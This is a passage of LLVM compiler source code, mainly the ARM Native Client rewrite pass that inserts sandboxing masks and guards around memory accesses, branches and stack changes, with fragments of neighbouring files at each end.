NoteName, ELF::SHT_NOTE, ELF::SHF_ALLOC | ELF::SHF_GROUP, 0, NoteName);
Streamer.PushSection();
Streamer.SwitchSection(Note);
Streamer.EmitIntValue(strlen(NoteNamespace) + 1, 4);
Streamer.EmitIntValue(strlen(NoteArch) + 1, 4);
Streamer.EmitIntValue(ELF::NT_VERSION, 4);
Streamer.EmitBytes(NoteNamespace);
Streamer.EmitIntValue(0, 1); // NUL terminator
Streamer.EmitValueToAlignment(4);
Streamer.EmitBytes(NoteArch);
Streamer.EmitIntValue(0, 1); // NUL terminator
Streamer.EmitValueToAlignment(4);
Streamer.PopSection();
}
} // namespace llvm
<file_sep>/lib/Target/ARM/ARMNaClRewritePass.cpp
//===-- ARMNaClRewritePass.cpp - Native Client Rewrite Pass ------*- C++ -*-=//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// Native Client Rewrite Pass
// This final pass inserts the sandboxing instructions needed to run inside
// the Native Client sandbox. Native Client requires certain software fault
// isolation (SFI) constructions to be put in place, to prevent escape from
// the sandbox. Native Client refuses to execute binaries without the correct
// SFI sequences.
//
// Potentially dangerous operations which are protected include:
// * Stores
// * Branches
// * Changes to SP
//
//===----------------------------------------------------------------------===//
#define DEBUG_TYPE "arm-sfi"
#include "ARM.h"
#include "ARMBaseInstrInfo.h"
#include "ARMNaClRewritePass.h"
#include "llvm/CodeGen/MachineFunctionPass.h"
#include "llvm/CodeGen/MachineInstrBuilder.h"
#include "llvm/IR/Function.h"
#include "llvm/Support/Debug.h"
#include "llvm/Support/raw_ostream.h"
#include "llvm/Target/TargetSubtargetInfo.h"
#include <set>
#include <stdio.h>
using namespace llvm;
namespace {
class ARMNaClRewritePass : public MachineFunctionPass {
public:
static char ID;
ARMNaClRewritePass() : MachineFunctionPass(ID) {}
const ARMBaseInstrInfo *TII;
const TargetRegisterInfo *TRI;
virtual void getAnalysisUsage(AnalysisUsage &AU) const;
virtual bool runOnMachineFunction(MachineFunction &Fn);
virtual const char *getPassName() const {
return "ARM Native Client Rewrite Pass";
}
private:
bool SandboxMemoryReferencesInBlock(MachineBasicBlock &MBB);
void SandboxMemory(MachineBasicBlock &MBB,
MachineBasicBlock::iterator MBBI,
MachineInstr &MI,
int AddrIdx,
bool IsLoad);
bool SandboxBranchesInBlock(MachineBasicBlock &MBB);
bool SandboxStackChangesInBlock(MachineBasicBlock &MBB);
void SandboxStackChange(MachineBasicBlock &MBB,
MachineBasicBlock::iterator MBBI);
void LightweightVerify(MachineFunction &MF);
};
char ARMNaClRewritePass::ID = 0;
}
static bool IsReturn(const MachineInstr &MI) {
return (MI.getOpcode() == ARM::BX_RET);
}
static bool IsIndirectJump(const MachineInstr &MI) {
switch (MI.getOpcode()) {
default: return false;
case ARM::BX:
case ARM::TAILJMPr:
return true;
}
}
static bool IsIndirectCall(const MachineInstr &MI) {
return MI.getOpcode() == ARM::BLX;
}
static bool IsDirectCall(const MachineInstr &MI) {
switch (MI.getOpcode()) {
default: return false;
case ARM::BL:
case ARM::BL_pred:
case ARM::TPsoft:
return true;
}
}
static void DumpInstructionVerbose(const MachineInstr &MI) {
DEBUG({
dbgs() << MI;
dbgs() << MI.getNumOperands() << " operands:" << "\n";
for (unsigned i = 0; i < MI.getNumOperands(); ++i) {
const MachineOperand& op = MI.getOperand(i);
dbgs() << " " << i << "(" << (unsigned)op.getType() << "):" << op
<< "\n";
}
dbgs() << "\n";
});
}
static void DumpBasicBlockVerbose(const MachineBasicBlock &MBB) {
DEBUG({
dbgs() << "\n<<<<< DUMP BASIC BLOCK START\n";
for (MachineBasicBlock::const_iterator
MBBI = MBB.begin(), MBBE = MBB.end();
MBBI != MBBE;
++MBBI) {
DumpInstructionVerbose(*MBBI);
}
dbgs() << "<<<<< DUMP BASIC BLOCK END\n\n";
});
}
/**********************************************************************/
/* Exported functions */
namespace ARM_SFI {
bool IsStackChange(const MachineInstr &MI, const TargetRegisterInfo *TRI) {
return MI.modifiesRegister(ARM::SP, TRI);
}
bool NextInstrMasksSP(const MachineInstr &MI) {
MachineBasicBlock::const_iterator It = &MI;
const MachineBasicBlock *MBB = MI.getParent();
MachineBasicBlock::const_iterator next = ++It;
if (next == MBB->end()) {
return false;
}
const MachineInstr &next_instr = *next;
unsigned opcode = next_instr.getOpcode();
return (opcode == ARM::SFI_DATA_MASK) &&
(next_instr.getOperand(0).getReg() == ARM::SP);
}
bool IsSandboxedStackChange(const MachineInstr &MI) {
// Calls do not change the stack on ARM but they have implicit-defs, so
// make sure they do not get sandboxed.
if (MI.getDesc().isCall())
return true;
unsigned opcode = MI.getOpcode();
switch (opcode) {
default: break;
// Our mask instructions correctly update the stack pointer.
case ARM::SFI_DATA_MASK:
return true;
// These just bump SP by a little (and access the stack),
// so that is okay due to guard pages.
case ARM::STMIA_UPD:
case ARM::STMDA_UPD:
case ARM::STMDB_UPD:
case ARM::STMIB_UPD:
case ARM::VSTMDIA_UPD:
case ARM::VSTMDDB_UPD:
case ARM::VSTMSIA_UPD:
case ARM::VSTMSDB_UPD:
return true;
// Similar, unless it is a load into SP...
case ARM::LDMIA_UPD:
case ARM::LDMDA_UPD:
case ARM::LDMDB_UPD:
case ARM::LDMIB_UPD:
case ARM::VLDMDIA_UPD:
case ARM::VLDMDDB_UPD:
case ARM::VLDMSIA_UPD:
case ARM::VLDMSDB_UPD: {
bool dest_SP = false;
// Dest regs start at operand index 4.
for (unsigned i = 4; i < MI.getNumOperands(); ++i) {
const MachineOperand &DestReg = MI.getOperand(i);
dest_SP = dest_SP || (DestReg.getReg() == ARM::SP);
}
if (dest_SP) {
break;
}
return true;
}
// Some localmods *should* prevent selecting a reg offset
// (see SelectAddrMode2 in ARMISelDAGToDAG.cpp).
// Otherwise, the store is already a potential violation.
case ARM::STR_PRE_REG:
case ARM::STR_PRE_IMM:
case ARM::STRH_PRE:
case ARM::STRB_PRE_REG:
case ARM::STRB_PRE_IMM:
return true;
// Similar, unless it is a load into SP...
case ARM::LDRi12:
case ARM::LDR_PRE_REG:
case ARM::LDR_PRE_IMM:
case ARM::LDRH_PRE:
case ARM::LDRB_PRE_REG:
case ARM::LDRB_PRE_IMM:
case ARM::LDRSH_PRE:
case ARM::LDRSB_PRE: {
const MachineOperand &DestReg = MI.getOperand(0);
if (DestReg.getReg() == ARM::SP) {
break;
}
return true;
}
// Here, if SP is the base / write-back reg, we need to check if
// a reg is used as offset (otherwise it is not a small nudge).
case ARM::STR_POST_REG:
case ARM::STR_POST_IMM:
case ARM::STRH_POST:
case ARM::STRB_POST_REG:
case ARM::STRB_POST_IMM: {
const MachineOperand &WBReg = MI.getOperand(0);
const MachineOperand &OffReg = MI.getOperand(3);
if (WBReg.getReg() == ARM::SP && OffReg.getReg() != 0) {
break;
}
return true;
}
// Similar, but also check that DestReg is not SP.
case ARM::LDR_POST_REG:
case ARM::LDR_POST_IMM:
case ARM::LDRB_POST_REG:
case ARM::LDRB_POST_IMM:
case ARM::LDRH_POST:
case ARM::LDRSH_POST:
case ARM::LDRSB_POST: {
const MachineOperand &DestReg = MI.getOperand(0);
if (DestReg.getReg() == ARM::SP) {
break;
}
const MachineOperand &WBReg = MI.getOperand(1);
const MachineOperand &OffReg = MI.getOperand(3);
if (WBReg.getReg() == ARM::SP && OffReg.getReg() != 0) {
break;
}
return true;
}
}
return (NextInstrMasksSP(MI));
}
bool NeedSandboxStackChange(const MachineInstr &MI,
const TargetRegisterInfo *TRI) {
return (IsStackChange(MI, TRI) && !IsSandboxedStackChange(MI));
}
} // namespace ARM_SFI
/**********************************************************************/
void ARMNaClRewritePass::getAnalysisUsage(AnalysisUsage &AU) const {
// Slight (possibly unnecessary) efficiency tweak:
// Promise not to modify the CFG.
AU.setPreservesCFG();
MachineFunctionPass::getAnalysisUsage(AU);
}
/*
* A primitive validator to catch problems at compile time.
* E.g., it could be used along with bugpoint to reduce a bitcode file.
*/
void ARMNaClRewritePass::LightweightVerify(MachineFunction &MF) {
DEBUG({
for (MachineFunction::iterator MFI = MF.begin(), MFE = MF.end();
MFI != MFE;
++MFI) {
MachineBasicBlock &MBB = *MFI;
for (MachineBasicBlock::iterator MBBI = MBB.begin(), MBBE = MBB.end();
MBBI != MBBE;
++MBBI) {
MachineInstr &MI = *MBBI;
if (ARM_SFI::NeedSandboxStackChange(MI, TRI)) {
dbgs() << "LightWeightVerify for function: "
<< MF.getFunction()->getName() << " (BAD STACK CHANGE)\n";
DumpInstructionVerbose(MI);
DumpBasicBlockVerbose(MBB);
}
}
}
});
}
void ARMNaClRewritePass::SandboxStackChange(MachineBasicBlock &MBB,
MachineBasicBlock::iterator MBBI) {
// (1) Ensure there is room in the bundle for a data mask instruction
// (nop'ing to the next bundle if needed).
// (2) Do a data mask on SP after the instruction that updated SP.
MachineInstr &MI = *MBBI;
// Use same predicate as current instruction.
unsigned PredReg = 0;
ARMCC::CondCodes Pred = llvm::getInstrPredicate(&MI, PredReg);
BuildMI(MBB, MBBI, MI.getDebugLoc(),
TII->get(ARM::SFI_NOP_IF_AT_BUNDLE_END));
// Get to next instr.
MachineBasicBlock::iterator MBBINext = (++MBBI);
BuildMI(MBB, MBBINext, MI.getDebugLoc(),
TII->get(ARM::SFI_DATA_MASK))
.addReg(ARM::SP, RegState::Define) // modify SP (as dst)
.addReg(ARM::SP, RegState::Kill) // start with SP (as src)
.addImm((int64_t) Pred) // predicate condition
.addReg(PredReg); // predicate source register (CPSR)
}
bool ARMNaClRewritePass::SandboxStackChangesInBlock(MachineBasicBlock &MBB) {
bool Modified = false;
for (MachineBasicBlock::iterator MBBI = MBB.begin(), E = MBB.end();
MBBI != E;
++MBBI) {
MachineInstr &MI = *MBBI;
if (ARM_SFI::NeedSandboxStackChange(MI, TRI)) {
SandboxStackChange(MBB, MBBI);
Modified |= true;
}
}
return Modified;
}
bool ARMNaClRewritePass::SandboxBranchesInBlock(MachineBasicBlock &MBB) {
bool Modified = false;
for (MachineBasicBlock::iterator MBBI = MBB.begin(), E = MBB.end();
MBBI != E;
++MBBI) {
MachineInstr &MI = *MBBI;
// Use same predicate as current instruction.
unsigned PredReg = 0;
ARMCC::CondCodes Pred = llvm::getInstrPredicate(&MI, PredReg);
if (IsReturn(MI)) {
BuildMI(MBB, MBBI, MI.getDebugLoc(),
TII->get(ARM::SFI_GUARD_RETURN))
.addImm((int64_t) Pred) // predicate condition
.addReg(PredReg); // predicate source register (CPSR)
Modified = true;
}
if (IsIndirectJump(MI)) {
unsigned Addr = MI.getOperand(0).getReg();
BuildMI(MBB, MBBI, MI.getDebugLoc(),
TII->get(ARM::SFI_GUARD_INDIRECT_JMP))
.addReg(Addr, RegState::Define) // Destination definition (as dst)
.addReg(Addr, RegState::Kill) // Destination read (as src)
.addImm((int64_t) Pred) // predicate condition
.addReg(PredReg); // predicate source register (CPSR)
Modified = true;
}
if (IsDirectCall(MI)) {
BuildMI(MBB, MBBI, MI.getDebugLoc(),
TII->get(ARM::SFI_GUARD_CALL))
.addImm((int64_t) Pred) // predicate condition
.addReg(PredReg); // predicate source register (CPSR)
Modified = true;
}
if (IsIndirectCall(MI)) {
unsigned Addr = MI.getOperand(0).getReg();
BuildMI(MBB, MBBI, MI.getDebugLoc(),
TII->get(ARM::SFI_GUARD_INDIRECT_CALL))
.addReg(Addr, RegState::Define) // Destination definition (as dst)
.addReg(Addr, RegState::Kill) // Destination read (as src)
.addImm((int64_t) Pred) // predicate condition
.addReg(PredReg); // predicate source register (CPSR)
Modified = true;
}
}
return Modified;
}
static bool IsDangerousLoad(const MachineInstr &MI, int *AddrIdx) {
unsigned Opcode = MI.getOpcode();
switch (Opcode) {
default: return false;
// Instructions with base address register in position 0...
case ARM::LDMIA:
case ARM::LDMDA:
case ARM::LDMDB:
case ARM::LDMIB:
case ARM::VLDMDIA:
case ARM::VLDMSIA:
case ARM::PLDi12:
case ARM::PLDWi12:
case ARM::PLIi12:
*AddrIdx = 0;
break;
// Instructions with base address register in position 1...
case ARM::LDMIA_UPD: // same reg at position 0 and position 1
case ARM::LDMDA_UPD:
case ARM::LDMDB_UPD:
case ARM::LDMIB_UPD:
case ARM::LDRSB:
case ARM::LDRH:
case ARM::LDRSH:
case ARM::LDRi12:
case ARM::LDRrs:
case ARM::LDRBi12:
case ARM::LDRBrs:
case ARM::VLDMDIA_UPD:
case ARM::VLDMDDB_UPD:
case ARM::VLDMSIA_UPD:
case ARM::VLDMSDB_UPD:
case ARM::VLDRS:
case ARM::VLDRD:
case ARM::LDREX:
case ARM::LDREXB:
case ARM::LDREXH:
case ARM::LDREXD:
*AddrIdx = 1;
break;
// Instructions with base address register in position 2...
case ARM::LDR_PRE_REG:
case ARM::LDR_PRE_IMM:
case ARM::LDR_POST_REG:
case ARM::LDR_POST_IMM:
case ARM::LDRB_PRE_REG:
case ARM::LDRB_PRE_IMM:
case ARM::LDRB_POST_REG:
case ARM::LDRB_POST_IMM:
case ARM::LDRSB_PRE:
case ARM::LDRSB_POST:
case ARM::LDRH_PRE:
case ARM::LDRH_POST:
case ARM::LDRSH_PRE:
case ARM::LDRSH_POST:
case ARM::LDRD:
*AddrIdx = 2;
break;
//
// NEON loads
//
// VLD1
case ARM::VLD1d8:
case ARM::VLD1d16:
case ARM::VLD1d32:
case ARM::VLD1d64:
case ARM::VLD1q8:
case ARM::VLD1q16:
case ARM::VLD1q32:
case ARM::VLD1q64:
*AddrIdx = 1;
break;
case ARM::VLD1d8wb_fixed:
case ARM::VLD1d16wb_fixed:
case ARM::VLD1d32wb_fixed:
case ARM::VLD1d64wb_fixed:
case ARM::VLD1q8wb_fixed:
case ARM::VLD1q16wb_fixed:
case ARM::VLD1q32wb_fixed:
case ARM::VLD1q64wb_fixed:
case ARM::VLD1d8wb_register:
case ARM::VLD1d16wb_register:
case ARM::VLD1d32wb_register:
case ARM::VLD1d64wb_register:
case ARM::VLD1q8wb_register:
case ARM::VLD1q16wb_register:
case ARM::VLD1q32wb_register:
case ARM::VLD1q64wb_register:
*AddrIdx = 2;
break;
// VLD1T
case ARM::VLD1d8T:
case ARM::VLD1d16T:
case ARM::VLD1d32T:
case ARM::VLD1d64T:
*AddrIdx = 1;
break;
case ARM::VLD1d8Twb_fixed:
case ARM::VLD1d16Twb_fixed:
case ARM::VLD1d32Twb_fixed:
case ARM::VLD1d64Twb_fixed:
case ARM::VLD1d8Twb_register:
case ARM::VLD1d16Twb_register:
case ARM::VLD1d32Twb_register:
case ARM::VLD1d64Twb_register:
*AddrIdx = 2;
break;
// VLD1Q
case ARM::VLD1d8Q:
case ARM::VLD1d16Q:
case ARM::VLD1d32Q:
case ARM::VLD1d64Q:
*AddrIdx = 1;
break;
case ARM::VLD1d8Qwb_fixed:
case ARM::VLD1d16Qwb_fixed:
case ARM::VLD1d32Qwb_fixed:
case ARM::VLD1d64Qwb_fixed:
case ARM::VLD1d8Qwb_register:
case ARM::VLD1d16Qwb_register:
case ARM::VLD1d32Qwb_register:
case ARM::VLD1d64Qwb_register:
*AddrIdx = 2;
break;
// VLD1LN
case ARM::VLD1LNd8:
case ARM::VLD1LNd16:
case ARM::VLD1LNd32:
case ARM::VLD1LNd8_UPD:
case ARM::VLD1LNd16_UPD:
case ARM::VLD1LNd32_UPD:
// VLD1DUP
case ARM::VLD1DUPd8:
case ARM::VLD1DUPd16:
case ARM::VLD1DUPd32:
case ARM::VLD1DUPq8:
case ARM::VLD1DUPq16:
case ARM::VLD1DUPq32:
case ARM::VLD1DUPd8wb_fixed:
case ARM::VLD1DUPd16wb_fixed:
case ARM::VLD1DUPd32wb_fixed:
case ARM::VLD1DUPq8wb_fixed:
case ARM::VLD1DUPq16wb_fixed:
case ARM::VLD1DUPq32wb_fixed:
case ARM::VLD1DUPd8wb_register:
case ARM::VLD1DUPd16wb_register:
case ARM::VLD1DUPd32wb_register:
case ARM::VLD1DUPq8wb_register:
case ARM::VLD1DUPq16wb_register:
case ARM::VLD1DUPq32wb_register:
// VLD2
case ARM::VLD2d8:
case ARM::VLD2d16:
case ARM::VLD2d32:
case ARM::VLD2b8:
case ARM::VLD2b16:
case ARM::VLD2b32:
case ARM::VLD2q8:
case ARM::VLD2q16:
case ARM::VLD2q32:
*AddrIdx = 1;
break;
case ARM::VLD2d8wb_fixed:
case ARM::VLD2d16wb_fixed:
case ARM::VLD2d32wb_fixed:
case ARM::VLD2b8wb_fixed:
case ARM::VLD2b16wb_fixed:
case ARM::VLD2b32wb_fixed:
case ARM::VLD2q8wb_fixed:
case ARM::VLD2q16wb_fixed:
case ARM::VLD2q32wb_fixed:
case ARM::VLD2d8wb_register:
case ARM::VLD2d16wb_register:
case ARM::VLD2d32wb_register:
case ARM::VLD2b8wb_register:
case ARM::VLD2b16wb_register:
case ARM::VLD2b32wb_register:
case ARM::VLD2q8wb_register:
case ARM::VLD2q16wb_register:
case ARM::VLD2q32wb_register:
*AddrIdx = 2;
break;
// VLD2LN
case ARM::VLD2LNd8:
case ARM::VLD2LNd16:
case ARM::VLD2LNd32:
case ARM::VLD2LNq16:
case ARM::VLD2LNq32:
*AddrIdx = 2;
break;
case ARM::VLD2LNd8_UPD:
case ARM::VLD2LNd16_UPD:
case ARM::VLD2LNd32_UPD:
case ARM::VLD2LNq16_UPD:
case ARM::VLD2LNq32_UPD:
*AddrIdx = 3;
break;
// VLD2DUP
case ARM::VLD2DUPd8:
case ARM::VLD2DUPd16:
case ARM::VLD2DUPd32:
case ARM::VLD2DUPd8x2:
case ARM::VLD2DUPd16x2:
case ARM::VLD2DUPd32x2:
*AddrIdx = 1;
break;
case ARM::VLD2DUPd8wb_fixed:
case ARM::VLD2DUPd16wb_fixed:
case ARM::VLD2DUPd32wb_fixed:
case ARM::VLD2DUPd8wb_register:
case ARM::VLD2DUPd16wb_register:
case ARM::VLD2DUPd32wb_register:
case ARM::VLD2DUPd8x2wb_fixed:
case ARM::VLD2DUPd16x2wb_fixed:
case ARM::VLD2DUPd32x2wb_fixed:
case ARM::VLD2DUPd8x2wb_register:
case ARM::VLD2DUPd16x2wb_register:
case ARM::VLD2DUPd32x2wb_register:
*AddrIdx = 2;
break;
// VLD3
case ARM::VLD3d8:
case ARM::VLD3d16:
case ARM::VLD3d32:
case ARM::VLD3q8:
case ARM::VLD3q16:
case ARM::VLD3q32:
case ARM::VLD3d8_UPD:
case ARM::VLD3d16_UPD:
case ARM::VLD3d32_UPD:
case ARM::VLD3q8_UPD:
case ARM::VLD3q16_UPD:
case ARM::VLD3q32_UPD:
// VLD3LN
case ARM::VLD3LNd8:
case ARM::VLD3LNd16:
case ARM::VLD3LNd32:
case ARM::VLD3LNq16:
case ARM::VLD3LNq32:
*AddrIdx = 3;
break;
case ARM::VLD3LNd8_UPD:
case ARM::VLD3LNd16_UPD:
case ARM::VLD3LNd32_UPD:
case ARM::VLD3LNq16_UPD:
case ARM::VLD3LNq32_UPD:
*AddrIdx = 4;
break;
// VLD3DUP
case ARM::VLD3DUPd8:
case ARM::VLD3DUPd16:
case ARM::VLD3DUPd32:
case ARM::VLD3DUPq8:
case ARM::VLD3DUPq16:
case ARM::VLD3DUPq32:
*AddrIdx = 3;
break;
case ARM::VLD3DUPd8_UPD:
case ARM::VLD3DUPd16_UPD:
case ARM::VLD3DUPd32_UPD:
case ARM::VLD3DUPq8_UPD:
case ARM::VLD3DUPq16_UPD:
case ARM::VLD3DUPq32_UPD:
*AddrIdx = 4;
break;
// VLD4
case ARM::VLD4d8:
case ARM::VLD4d16:
case ARM::VLD4d32:
case ARM::VLD4q8:
case ARM::VLD4q16:
case ARM::VLD4q32:
*AddrIdx = 4;
break;
case ARM::VLD4d8_UPD:
case ARM::VLD4d16_UPD:
case ARM::VLD4d32_UPD:
case ARM::VLD4q8_UPD:
case ARM::VLD4q16_UPD:
case ARM::VLD4q32_UPD:
*AddrIdx = 5;
break;
// VLD4LN
case ARM::VLD4LNd8:
case ARM::VLD4LNd16:
case ARM::VLD4LNd32:
case ARM::VLD4LNq16:
case ARM::VLD4LNq32:
*AddrIdx = 4;
break;
case ARM::VLD4LNd8_UPD:
case ARM::VLD4LNd16_UPD:
case ARM::VLD4LNd32_UPD:
case ARM::VLD4LNq16_UPD:
case ARM::VLD4LNq32_UPD:
*AddrIdx = 5;
break;
case ARM::VLD4DUPd8:
case ARM::VLD4DUPd16:
case ARM::VLD4DUPd32:
case ARM::VLD4DUPq16:
case ARM::VLD4DUPq32:
*AddrIdx = 4;
break;
case ARM::VLD4DUPd8_UPD:
case ARM::VLD4DUPd16_UPD:
case ARM::VLD4DUPd32_UPD:
case ARM::VLD4DUPq16_UPD:
case ARM::VLD4DUPq32_UPD:
*AddrIdx = 5;
break;
}
if (MI.getOperand(*AddrIdx).getReg() == ARM::SP) {
// The contents of SP do not require masking.
return false;
}
return true;
}
/*
* Sandboxes a memory reference instruction by inserting an appropriate mask
* or check operation before it.
*/
void ARMNaClRewritePass::SandboxMemory(MachineBasicBlock &MBB,
MachineBasicBlock::iterator MBBI,
MachineInstr &MI,
int AddrIdx,
bool IsLoad) {
unsigned Addr = MI.getOperand(AddrIdx).getReg();
if (Addr == ARM::R9) {
// R9-relative loads are no longer sandboxed.
assert(IsLoad && "There should be no r9-relative stores");
} else {
unsigned Opcode;
if (IsLoad && (MI.getOperand(0).getReg() == ARM::SP)) {
Opcode = ARM::SFI_GUARD_SP_LOAD;
} else {
Opcode = ARM::SFI_GUARD_LOADSTORE;
}
// Use same predicate as current instruction.
unsigned PredReg = 0;
ARMCC::CondCodes Pred = llvm::getInstrPredicate(&MI, PredReg);
// Use the older BIC sandbox, which is universal, but incurs a stall.
BuildMI(MBB, MBBI, MI.getDebugLoc(), TII->get(Opcode))
.addReg(Addr, RegState::Define) // Address definition (as dst).
.addReg(Addr, RegState::Kill) // Address read (as src).
.addImm((int64_t) Pred) // predicate condition
.addReg(PredReg); // predicate source register (CPSR)
/*
* This pseudo-instruction is intended to generate something resembling the
* following, but with alignment enforced.
* TODO(cbiffle): move alignment into this function, use the code below.
*
* // bic<cc> Addr, Addr, #0xC0000000
* BuildMI(MBB, MBBI, MI.getDebugLoc(),
* TII->get(ARM::BICri))
* .addReg(Addr) // rD
* .addReg(Addr) // rN
* .addImm(0xC0000000) // imm
* .addImm((int64_t) Pred) // predicate condition
* .addReg(PredReg) // predicate source register (CPSR)
* .addReg(0); // flag output register (0 == no flags)
*/
}
}
static bool IsDangerousStore(const MachineInstr &MI, int *AddrIdx) {
unsigned Opcode = MI.getOpcode();
switch (Opcode) {
default: return false;
// Instructions with base address register in position 0...
case ARM::STMIA:
case ARM::STMDA:
case ARM::STMDB:
case ARM::STMIB:
case ARM::VSTMDIA:
case ARM::VSTMSIA:
*AddrIdx = 0;
break;
// Instructions with base address register in position 1...
case ARM::STMIA_UPD: // same reg at position 0 and position 1
case ARM::STMDA_UPD:
case ARM::STMDB_UPD:
case ARM::STMIB_UPD:
case ARM::STRH:
case ARM::STRi12:
case ARM::STRrs:
case ARM::STRBi12:
case ARM::STRBrs:
case ARM::VSTMDIA_UPD:
case ARM::VSTMDDB_UPD:
case ARM::VSTMSIA_UPD:
case ARM::VSTMSDB_UPD:
case ARM::VSTRS:
case ARM::VSTRD:
*AddrIdx = 1;
break;
//
// NEON stores
//
// VST1
case ARM::VST1d8:
case ARM::VST1d16:
case ARM::VST1d32:
case ARM::VST1d64:
case ARM::VST1q8:
case ARM::VST1q16:
case ARM::VST1q32:
case ARM::VST1q64:
*AddrIdx = 0;
break;
case ARM::VST1d8wb_fixed:
case ARM::VST1d16wb_fixed:
case ARM::VST1d32wb_fixed:
case ARM::VST1d64wb_fixed:
case ARM::VST1q8wb_fixed:
case ARM::VST1q16wb_fixed:
case ARM::VST1q32wb_fixed:
case ARM::VST1q64wb_fixed:
case ARM::VST1d8wb_register:
case ARM::VST1d16wb_register:
case ARM::VST1d32wb_register:
case ARM::VST1d64wb_register:
case ARM::VST1q8wb_register:
case ARM::VST1q16wb_register:
case ARM::VST1q32wb_register:
case ARM::VST1q64wb_register:
*AddrIdx = 1;
break;
// VST1LN
case ARM::VST1LNd8:
case ARM::VST1LNd16:
case ARM::VST1LNd32:
*AddrIdx = 0;
break;
case ARM::VST1LNd8_UPD:
case ARM::VST1LNd16_UPD:
case ARM::VST1LNd32_UPD:
*AddrIdx = 1;
break;
// VST2
case ARM::VST2d8:
case ARM::VST2d16:
case ARM::VST2d32:
case ARM::VST2q8:
case ARM::VST2q16:
case ARM::VST2q32:
*AddrIdx = 0;
break;
case ARM::VST2d8wb_fixed:
case ARM::VST2d16wb_fixed:
case ARM::VST2d32wb_fixed:
case ARM::VST2q8wb_fixed:
case ARM::VST2q16wb_fixed:
case ARM::VST2q32wb_fixed:
case ARM::VST2d8wb_register:
case ARM::VST2d16wb_register:
case ARM::VST2d32wb_register:
case ARM::VST2q8wb_register:
case ARM::VST2q16wb_register:
case ARM::VST2q32wb_register:
*AddrIdx = 1;
break;
// VST2LN
case ARM::VST2LNd8:
case ARM::VST2LNd16:
case ARM::VST2LNq16:
case ARM::VST2LNd32:
case ARM::VST2LNq32:
*AddrIdx = 0;
break;
case ARM::VST2LNd8_UPD:
case ARM::VST2LNd16_UPD:
case ARM::VST2LNq16_UPD:
case ARM::VST2LNd32_UPD:
case ARM::VST2LNq32_UPD:
*AddrIdx = 1;
break;
// VST3
case ARM::VST3d8:
case ARM::VST3d16:
case ARM::VST3d32:
case ARM::VST3q8:
case ARM::VST3q16:
case ARM::VST3q32:
*AddrIdx = 0;
break;
case ARM::VST3d8_UPD:
case ARM::VST3d16_UPD:
case ARM::VST3d32_UPD:
case ARM::VST3q8_UPD:
case ARM::VST3q16_UPD:
case ARM::VST3q32_UPD:
*AddrIdx = 1;
break;
// VST3LN
case ARM::VST3LNd8:
case ARM::VST3LNd16:
case ARM::VST3LNq16:
case ARM::VST3LNd32:
case ARM::VST3LNq32:
*AddrIdx = 0;
break;
case ARM::VST3LNd8_UPD:
case ARM::VST3LNd16_UPD:
case ARM::VST3LNq16_UPD:
case ARM::VST3LNd32_UPD:
case ARM::VST3LNq32_UPD:
*AddrIdx = 1;
break;
// VST4
case ARM::VST4d8:
case ARM::VST4d16:
case ARM::VST4d32:
case ARM::VST4q8:
case ARM::VST4q16:
case ARM::VST4q32:
*AddrIdx = 0;
break;
case ARM::VST4d8_UPD:
case ARM::VST4d16_UPD:
case ARM::VST4d32_UPD:
case ARM::VST4q8_UPD:
case ARM::VST4q16_UPD:
case ARM::VST4q32_UPD:
*AddrIdx = 1;
break;
// VST4LN
case ARM::VST4LNd8:
case ARM::VST4LNd16:
case ARM::VST4LNq16:
case ARM::VST4LNd32:
case ARM::VST4LNq32:
*AddrIdx = 0;
break;
case ARM::VST4LNd8_UPD:
case ARM::VST4LNd16_UPD:
case ARM::VST4LNq16_UPD:
case ARM::VST4LNd32_UPD:
case ARM::VST4LNq32_UPD:
*AddrIdx = 1;
break;
// Instructions with base address register in position 2...
case ARM::STR_PRE_REG:
case ARM::STR_PRE_IMM:
case ARM::STR_POST_REG:
case ARM::STR_POST_IMM:
case ARM::STRB_PRE_REG:
case ARM::STRB_PRE_IMM:
case ARM::STRB_POST_REG:
case ARM::STRB_POST_IMM:
case ARM::STRH_PRE:
case ARM::STRH_POST:
case ARM::STRD:
case ARM::STREX:
case ARM::STREXB:
case ARM::STREXH:
case ARM::STREXD:
*AddrIdx = 2;
break;
}
if (MI.getOperand(*AddrIdx).getReg() == ARM::SP) {
// The contents of SP do not require masking.
return false;
}
return true;
}
bool ARMNaClRewritePass::SandboxMemoryReferencesInBlock(
MachineBasicBlock &MBB) {
bool Modified = false;
for (MachineBasicBlock::iterator MBBI = MBB.begin(), E = MBB.end();
MBBI != E;
++MBBI) {
MachineInstr &MI = *MBBI;
int AddrIdx;
if (IsDangerousLoad(MI, &AddrIdx)) {
SandboxMemory(MBB, MBBI, MI, AddrIdx, true);
Modified = true;
}
if (IsDangerousStore(MI, &AddrIdx)) {
SandboxMemory(MBB, MBBI, MI, AddrIdx, false);
Modified = true;
}
}
return Modified;
}
/**********************************************************************/
bool ARMNaClRewritePass::runOnMachineFunction(MachineFunction &MF) {
TII = static_cast<const ARMBaseInstrInfo*>(MF.getSubtarget().getInstrInfo());
TRI = MF.getSubtarget().getRegisterInfo();
bool Modified = false;
for (MachineFunction::iterator MFI = MF.begin(), E = MF.end();
MFI != E;
++MFI) {
MachineBasicBlock &MBB = *MFI;
if (MBB.hasAddressTaken()) {
//FIXME: use symbolic constant or get this value from some configuration
MBB.setAlignment(4);
Modified = true;
}
Modified |= SandboxMemoryReferencesInBlock(MBB);
Modified |= SandboxBranchesInBlock(MBB);
Modified |= SandboxStackChangesInBlock(MBB);
}
DEBUG(LightweightVerify(MF));
return Modified;
}
/// createARMNaClRewritePass - returns an instance of the NaClRewritePass.
FunctionPass *llvm::createARMNaClRewritePass() {
return new ARMNaClRewritePass();
}
<file_sep>/lib/Transforms/NaCl/ExpandCtors.cpp
//===- ExpandCtors.cpp - Convert ctors/dtors to concrete arrays -----------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This pass converts LLVM's special symbols llvm.global_ctors and
// llvm.global_dtors to concrete arrays, __init_array_start/end and
// __fini_array_start/end, that are usable by a C library.
//
// This pass sorts the contents of global_ctors/dtors according to the
// priority values they contain and removes the priority values.
//
//===----------------------------------------------------------------------===//
#include <vector>
#include "llvm/Pass.h"
#include "llvm/IR/Constants.h"
#include "llvm/IR/DerivedTypes.h"
#include "llvm/IR/Instructions.h"
#include "llvm/IR/Module.h"
#include "llvm/IR/TypeBuilder.h"
